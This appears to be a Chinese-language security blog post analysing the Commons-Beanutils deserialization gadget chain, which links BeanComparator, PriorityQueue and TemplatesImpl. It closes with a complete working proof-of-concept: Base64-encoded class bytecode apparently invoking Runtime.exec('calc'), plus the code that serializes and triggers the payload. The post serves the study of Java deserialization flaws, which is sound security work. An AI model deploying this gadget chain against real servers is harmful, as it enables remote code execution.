CB链分析

本文最后更新于:2024年10月9日 晚上

CB链

CC链分析完整测试代码,可直接拉取

首先,确定CB链的出发点是寻找可以利用的java.util.Comparator对象。

Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法。Bean对象对应熟悉Spring那一套框架的同学就比较熟悉了。

首先在项目中导入:

1
2
3
4
5
6
<!-- https://mvnrepository.com/artifact/commons-beanutils/commons-beanutils -->
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>

commons-beanutils中提供了一个静态方法PropertyUtils.getProperty,让使用者可以直接调用任意JavaBean的getter方法,比如: 此时,commons-beanutils会自动找到name属性的getter方法,也就是 getName ,然后调用,获得返回值。像Spring中的@Getter注解就提供了类似的功能。除此之外,PropertyUtils.getProperty还支持递归获取属性,比如a对象中有属性b,b对象中有属性c,我们可以通过

1
PropertyUtils.getProperty(a, "b.c"); 

的方式进行递归获取。通过这个方法,使用者可以很方便地调用任意对象的getter,适用于在不确定JavaBean是哪个类对象时使用。

回到本文主题,我们需要找可以利用的java.util.Comparator对象,在commons-beanutils包中就存在一个:

org.apache.commons.beanutils.BeanComparator :这个方法传入两个对象,如果this.property为空,则直接比较这两个对象;如果 property不为空,则用PropertyUtils.getProperty分别取这两个对象的property属性,比较属性的值。

整理一下思路,在CB包里我们已经找到了一个含有compare的比较器类,上层使用PriorityQueue或者TreeBag都行,那么往下走,就分析这个compare函数怎么继续构造,我们已经知道PropertyUtils.getProperty可以直接调用对应Object中某个属性的getter,那么想一想哪个getter函数会触发后续的利用链。先限定一个范围,不能是CC库中的。

回想一下CC3链的分析,出现过getTransletInstancegetOutputProperties两个方法,但是只有后者才是公有,所以这里从后者入手,就接上CC3的后半段了,CC3的后半段是不依赖CC库的。

1
2
3
4
5
TemplatesImpl#getOutputProperties()
->TemplatesImpl#newTransformer()
-> TemplatesImpl#getTransletInstance()
-> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
/**
* Implements JAXP's Templates.getOutputProperties(). We need to
* instanciate a translet to get the output settings, so
* we might as well just instanciate a Transformer and use its
* implementation of this method.
*/
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

下面构造测试代码:

按照目前比较熟悉的来,构造一个PrioriyQueue的实例,使用BeanComparator作为其构造参数,这是CC2/4的顶层,依赖java.utils

接着,我们需要了解BeanComparator构造需要什么,回看其compare方法,需要提前为property属性赋值,那这个赋值为啥呢,自然就是上面提到的getOutputProperties方法Get的那个属性,

发现在TemplatesImpl类中,存在一个属性_outputProperties,**注意getter规则遵循驼峰命名法,所以这里的变量需要去掉下划线,也就是outputProperties**。

注意此时不能在构造时对BeanComparator赋值,回看compare方法,如果构造时触发了反序列化,那么函数此时执行就会中断,无法形成后面的payload。所以应该先空构造,在反射修改属性。

贴一下最后的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public static void main(String[] args) throws Exception{
byte[] CalcCode = Base64.getDecoder().decode(
"yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEA" +
"CXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RP" +
"TTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0a" +
"W9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKEx" +
"jb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hc" +
"GFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS9" +
"4bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAA" +
"ygpVgcAGwEAClNvdXJjZUZpbGUBABBUZW1wbGF0ZVBPQy5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGM" +
"MAB8AIAEAC1RlbXBsYXRlUE9DAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzb" +
"HRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnR" +
"lcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL" +
"2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQA" +
"nKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIA" +
"AIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAALAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAA" +
"ABAAAAAGxAAAAAQAKAAAABgABAAAADwALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAA" +
"bgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAARAAQAEgANABMACwAAAAQAAQAQAAEAEQAAAAIAEg==");
TemplatesImpl calcTemp = new TemplatesImpl();
setFieldValue(calcTemp, "_bytecodes", new byte[][] {CalcCode});
setFieldValue(calcTemp, "_name", "CalcTemplatesImpl");
setFieldValue(calcTemp, "_tfactory", new TransformerFactoryImpl());

BeanComparator comparator = new BeanComparator();
PriorityQueue queue = new PriorityQueue<>(2,comparator);
queue.add("3xsh0re");
queue.add("CB-1");

setFieldValue(comparator,"property","outputProperties");
setFieldValue(queue,"queue",new Object[]{calcTemp,calcTemp});

// 测试
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}

CB链分析
https://3xsh0re.github.io/2024/08/21/CB链分析/
作者
3xsh0re
发布于
2024年8月21日
许可协议